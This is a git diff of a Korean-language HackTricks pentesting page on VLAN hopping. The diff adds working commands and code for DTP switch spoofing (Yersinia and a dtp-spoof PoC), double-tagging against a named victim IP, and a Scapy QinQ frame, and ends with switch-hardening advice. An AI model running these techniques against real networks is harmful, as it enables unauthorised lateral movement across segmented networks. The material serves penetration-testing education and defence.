mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
d658c57548
commit
4e846f0a99
@ -4,7 +4,7 @@
|
||||
|
||||
스위치에 직접 접근할 수 있는 경우, VLAN 세분화를 우회할 수 있습니다. 이는 연결된 포트를 트렁크 모드로 재구성하고, 대상 VLAN에 대한 가상 인터페이스를 설정하며, 시나리오에 따라 동적으로(DHCP) 또는 정적으로 IP 주소를 설정하는 것을 포함합니다 (**자세한 내용은 [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) 확인하세요.**)
|
||||
|
||||
먼저, 특정 연결된 포트를 식별해야 합니다. 이는 일반적으로 CDP 메시지를 통해 수행되거나 **include** 마스크를 통해 포트를 검색하여 수행할 수 있습니다.
|
||||
먼저, 특정 연결 포트를 식별해야 합니다. 이는 일반적으로 CDP 메시지를 통해 수행되거나 **include** 마스크를 통해 포트를 검색하여 수행할 수 있습니다.
|
||||
|
||||
**CDP가 작동하지 않는 경우, MAC 주소를 검색하여 포트 식별을 시도할 수 있습니다**:
|
||||
```
|
||||
@ -20,7 +20,7 @@ SW1(config)# interface GigabitEthernet 0/2
|
||||
SW1(config-if)# switchport trunk encapsulation dot1q
|
||||
SW1(config-if)# switchport mode trunk
|
||||
```
|
||||
트렁크 모드로 전환하면 일시적으로 연결이 중단되지만, 이후에 복원할 수 있습니다.
|
||||
트렁크 모드로 전환하면 일시적으로 연결이 중단되지만, 이후에 복구할 수 있습니다.
|
||||
|
||||
그런 다음 가상 인터페이스가 생성되고, VLAN ID가 할당되며, 활성화됩니다:
|
||||
```bash
|
||||
@ -33,7 +33,7 @@ sudo ifconfig eth0.20 up
|
||||
sudo ifconfig eth0.50 up
|
||||
sudo ifconfig eth0.60 up
|
||||
```
|
||||
그 후, DHCP를 통해 주소 요청이 이루어집니다. DHCP가 불가능한 경우, 주소를 수동으로 구성할 수 있습니다:
|
||||
그 후, DHCP를 통해 주소 요청이 이루어집니다. 또는 DHCP가 실행 불가능한 경우, 주소를 수동으로 구성할 수 있습니다:
|
||||
```bash
|
||||
sudo dhclient -v eth0.10
|
||||
sudo dhclient -v eth0.20
|
||||
@ -46,10 +46,78 @@ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
```
|
||||
연결성은 VLAN 10, 20, 50 및 60의 기본 게이트웨이에 ICMP 요청을 시작하여 테스트됩니다.
|
||||
|
||||
궁극적으로 이 프로세스는 VLAN 세분화를 우회할 수 있게 하여, 모든 VLAN 네트워크에 대한 제한 없는 접근을 용이하게 하고, 후속 작업을 위한 기반을 마련합니다.
|
||||
궁극적으로 이 프로세스는 VLAN 세분화를 우회할 수 있게 하여 모든 VLAN 네트워크에 대한 무제한 액세스를 용이하게 하고, 이후 작업을 위한 기반을 마련합니다.
|
||||
|
||||
## References
|
||||
---
|
||||
|
||||
## 기타 VLAN-Hopping 기술 (특권 스위치 CLI 없음)
|
||||
|
||||
이전 방법은 스위치에 대한 인증된 콘솔 또는 Telnet/SSH 액세스를 가정합니다. 실제 상황에서 공격자는 일반적으로 **정상 액세스 포트**에 연결되어 있습니다. 다음 Layer-2 트릭은 스위치 OS에 로그인하지 않고도 수평으로 이동할 수 있게 해줍니다:
|
||||
|
||||
### 1. 동적 트렁킹 프로토콜(DTP)을 이용한 스위치 스푸핑
|
||||
|
||||
DTP가 활성화된 Cisco 스위치는 피어가 스위치라고 주장하면 기꺼이 트렁크를 협상합니다. 단일 **DTP “desirable”** 또는 **“trunk”** 프레임을 작성하면 액세스 포트가 *모든* 허용된 VLAN을 전송하는 802.1Q 트렁크로 변환됩니다.
|
||||
|
||||
*Yersinia* 및 여러 PoC가 이 프로세스를 자동화합니다:
|
||||
```bash
|
||||
# Become a trunk using Yersinia (GUI)
|
||||
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
|
||||
# Python PoC (dtp-spoof)
|
||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
```
|
||||
포트가 트렁크로 전환되면 802.1Q 서브 인터페이스를 생성하고 이전 섹션에 표시된 대로 정확히 피벗할 수 있습니다. 최신 Linux 커널은 더 이상 *vconfig*를 요구하지 않으며, 대신 *ip link*를 사용하십시오:
|
||||
```bash
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
||||
sudo ip link set eth0.30 up
|
||||
```
|
||||
### 2. 더블 태깅 (네이티브 VLAN 남용)
|
||||
|
||||
공격자가 **네이티브 (태그가 없는) VLAN**에 있을 경우, *두 개*의 802.1Q 헤더가 있는 조작된 프레임은 포트가 액세스 모드로 잠겨 있어도 두 번째 VLAN으로 "홉"할 수 있습니다. **VLANPWN DoubleTagging.py** (2022-2024 리프레시)와 같은 도구는 주입을 자동화합니다:
|
||||
```bash
|
||||
python3 DoubleTagging.py \
|
||||
--interface eth0 \
|
||||
--nativevlan 1 \
|
||||
--targetvlan 20 \
|
||||
--victim 10.10.20.24 \
|
||||
--attacker 10.10.1.54
|
||||
```
|
||||
패킷 통과:
|
||||
1. 외부 태그(1)는 첫 번째 스위치에 의해 제거되며, 이는 기본 VLAN과 일치합니다.
|
||||
2. 내부 태그(20)가 이제 노출되며, 프레임은 VLAN 20으로 향하는 트렁크로 전달됩니다.
|
||||
|
||||
이 기술은 기본 VLAN을 기본값으로 두고 태그가 없는 프레임을 수용하는 네트워크에서 2025년에도 여전히 작동합니다.
|
||||
|
||||
### 3. QinQ (802.1ad) 스태킹
|
||||
|
||||
많은 기업 코어는 *Q-in-Q* 서비스 제공업체 캡슐화를 지원합니다. 허용되는 경우, 공격자는 공급자(S-tag) 내부에 임의의 802.1Q 태그가 있는 트래픽을 터널링하여 보안 구역을 넘을 수 있습니다. 802.1ad 이더타입 0x88a8을 캡처하고 Scapy로 외부 태그를 팝하려고 시도하십시오:
|
||||
```python
|
||||
from scapy.all import *
|
||||
outer = 100 # Service tag
|
||||
inner = 30 # Customer / target VLAN
|
||||
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
|
||||
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
|
||||
sendp(frame, iface="eth0")
|
||||
```
|
||||
---
|
||||
|
||||
## 방어 권장 사항
|
||||
|
||||
1. 모든 사용자-facing 포트에서 DTP 비활성화: `switchport mode access` + `switchport nonegotiate`.
|
||||
2. 모든 트렁크에서 기본 VLAN을 **사용되지 않는 블랙홀 VLAN**으로 변경하고 태그 지정: `vlan dot1q tag native`.
|
||||
3. 트렁크에서 불필요한 VLAN 제거: `switchport trunk allowed vlan 10,20`.
|
||||
4. 포트 보안, DHCP 스누핑 및 동적 ARP 검사 강제 적용하여 악성 Layer-2 활동 제한.
|
||||
5. 802.1Q 분리에만 의존하기보다는 프라이빗 VLAN 또는 L3 세분화를 선호.
|
||||
|
||||
---
|
||||
|
||||
## 참고 문헌
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- VLANPWN 공격 툴킷 – <https://github.com/casterbytethrowback/VLANPWN>
|
||||
- Twingate "VLAN Hopping이란?" (2024년 8월) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user